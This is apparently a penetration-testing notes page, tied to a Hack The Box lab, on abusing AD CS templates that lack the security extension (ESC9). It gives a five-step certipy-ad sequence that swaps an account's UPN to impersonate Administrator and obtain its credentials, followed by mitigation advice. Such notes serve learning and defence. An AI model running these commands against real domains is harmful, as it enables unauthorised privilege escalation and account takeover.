đź§  Active Directory - ESC9 (No Security Extension) Abuse

What is it?

  • Concept: A certificate template with the CT_FLAG_NO_SECURITY_EXTENSION flag set produces certificates that carry no strong (SID-backed) binding to the account that requested them — the KDC then has to map the certificate to an account using weaker means, namely the userPrincipalName on the certificate. If an attacker can both enroll for such a template and write another account’s userPrincipalName, they can temporarily impersonate that account’s UPN, request a certificate, and get back a login credential for it.
  • Impact: Turns enrollment rights on one specific template plus GenericWrite/GenericAll over any account’s UPN attribute into full authentication as a completely different, arbitrary account — commonly escalated straight to Administrator.

How it works

  1. certipy-ad find -vulnerable flags a template as ESC9 when: the requesting principal can enroll in it, and it lacks the security extension (no strong SID binding embedded in issued certs).
  2. The attacker changes their own controlled account’s userPrincipalName to match the victim’s name (commonly literally Administrator) — this only requires write access to their own UPN, or write access to any account they already control via a prior chain (e.g. one gained via Active Directory - Shadow Credentials Attack or Active Directory - ACL Abuse (GenericAll & ForceChangePassword)).
  3. The attacker requests a certificate from the vulnerable template as that account — since the template has no security extension, the issued certificate’s identity is resolved from the UPN, which now reads Administrator.
  4. The UPN is changed back to its original value immediately (so the real Administrator account isn’t left broken/duplicated), and the attacker authenticates with the freshly-issued certificate — the KDC hands back a TGT (and, if binding enforcement allows it, the NT hash) for Administrator.

Exploitation

Prerequisites

  • Enrollment rights on a certificate template flagged ESC9 by certipy-ad find -vulnerable (no security extension + requester can enroll)
  • GenericWrite/GenericAll/WriteProperty over the userPrincipalName of the account requesting the certificate (often the attacker’s own already-controlled account)

Attack Vectors

# 1. Confirm the template is actually vulnerable and note its exact name + CA name
certipy-ad find -u '<user>@<domain>' -p '<pass>' -dc-ip <dc_ip> -vulnerable -stdout
 
# 2. Point the controlled account's UPN at the victim
certipy-ad account update -u '<user>@<domain>' -p '<pass>' -user '<controlled_account>' -upn '<victim>' -dc-ip <dc_ip>
 
# 3. Request a certificate from the vulnerable template as the controlled account
certipy-ad req -u '<controlled_account>@<domain>' -p '<controlled_pass>' -ca '<ca_name>' -template '<vulnerable_template>' -dc-ip <dc_ip>
 
# 4. Restore the original UPN so the real account isn't left broken
certipy-ad account update -u '<user>@<domain>' -p '<pass>' -user '<controlled_account>' -upn '<controlled_account>@<domain>' -dc-ip <dc_ip>
 
# 5. Authenticate with the certificate obtained in step 3 as the victim
certipy-ad auth -pfx '<victim>.pfx' -domain '<domain>' -dc-ip <dc_ip>

Notes

  • Step 4 (restoring the UPN) matters for more than tidiness — leaving two accounts with the same UPN can break logon for the real target account until it’s fixed, which is both noisy and a nuisance on an engagement.
  • ESC9 specifically targets accounts without a strong mapping already set (no explicit altSecurityIdentities binding) — if the victim account already has one, StrongCertificateBindingEnforcement will reject the impersonation attempt regardless of the UPN trick.
  • This is functionally the modern replacement for the pre-2022 default behavior every template implicitly had before Microsoft’s certificate-mapping hardening updates — ESC9 only exists as a distinct, named issue because that hardening now has to be explicitly bypassed rather than relied on by default.

Mitigation

  • Fix: Remove CT_FLAG_NO_SECURITY_EXTENSION from templates that don’t specifically need it, and set StrongCertificateBindingEnforcement to 2 domain-wide so certificates without a strong SID mapping are rejected outright rather than falling back to UPN-based resolution.
FileCreated
HTB - CertifiedJuly 23, 2026

References: